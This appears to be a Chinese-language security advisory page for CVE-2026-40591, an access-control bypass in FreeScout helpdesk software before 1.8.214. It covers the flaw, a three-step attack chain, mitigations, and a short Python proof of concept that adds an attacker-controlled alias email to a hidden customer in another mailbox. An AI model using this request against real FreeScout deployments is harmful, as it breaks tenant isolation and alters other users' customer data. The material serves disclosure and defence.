IPBUF安全漏洞报告
English
CVE-2026-40591 CVSS 7.1 高危

CVE-2026-40591 FreeScout越权访问漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40591
漏洞类型
访问控制绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

FreeScout访问控制绕过越权漏洞IDORCVE-2026-40591

漏洞概述

FreeScout是一款免费的自托管帮助台和共享邮箱软件。在1.8.214版本之前,该系统在电话对话创建流程中存在安全缺陷。由于后端未强制执行邮箱范围的客户可见性检查,低权限代理可以利用此漏洞,通过控制请求参数,将新对话绑定到其他邮箱中的隐藏客户,并擅自为该客户添加别名邮箱。该问题可能导致数据隔离失效及信息完整性受损。

技术细节

该漏洞的核心原理在于FreeScout后端在处理创建电话对话的请求时,未能正确验证请求者对目标客户的访问权限。具体流程中,应用程序接受攻击者提供的`customer_id`、`to_email`等参数,并直接解析目标客户记录,而未检查该客户是否属于当前代理有权操作的邮箱(Mailbox A)。攻击者只需拥有邮箱A的访问权限,即可通过枚举或猜测获取邮箱B中隐藏客户的ID,并构造恶意请求。利用`to_email`参数,攻击者可以将受控的邮箱地址作为别名添加到隐藏客户的档案中,从而绕过了多租户环境下的数据隔离机制,实现了跨邮箱的越权操作。

攻击链分析

STEP 1
1. 信息收集
攻击者作为低权限代理登录Mailbox A,并尝试枚举或猜测Mailbox B中隐藏客户的ID。
STEP 2
2. 构造恶意请求
攻击者向创建电话对话的API接口发送POST请求,参数中包含Mailbox B中的`customer_id`和攻击者控制的`to_email`。
STEP 3
3. 越权利用
后端未校验跨邮箱权限,处理请求并将新对话绑定到隐藏客户,同时将`to_email`添加为该客户的别名。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-40591 # Demonstrates adding an alias to a hidden customer in another mailbox target_url = "https://example.com/api/v1/conversations/phone" access_token = "<LOW_PRIVILEGE_AGENT_TOKEN>" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Malicious payload # customer_id: ID of a customer hidden in Mailbox B # to_email: Email address to inject as an alias payload = { "customer_id": <TARGET_HIDDEN_CUSTOMER_ID>, "name": "Arbitrary Name", "to_email": "[email protected]", "phone": "0000000000", "mailbox_id": <ATTACKER_ACCESSIBLE_MAILBOX_ID> } response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful: Alias added to hidden customer.") else: print("[-] Exploit failed.")

影响范围

FreeScout < 1.8.214

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用低权限代理创建电话对话的功能,或通过网络防火墙(WAF)拦截对相关API接口的非正常请求参数,以防止越权操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表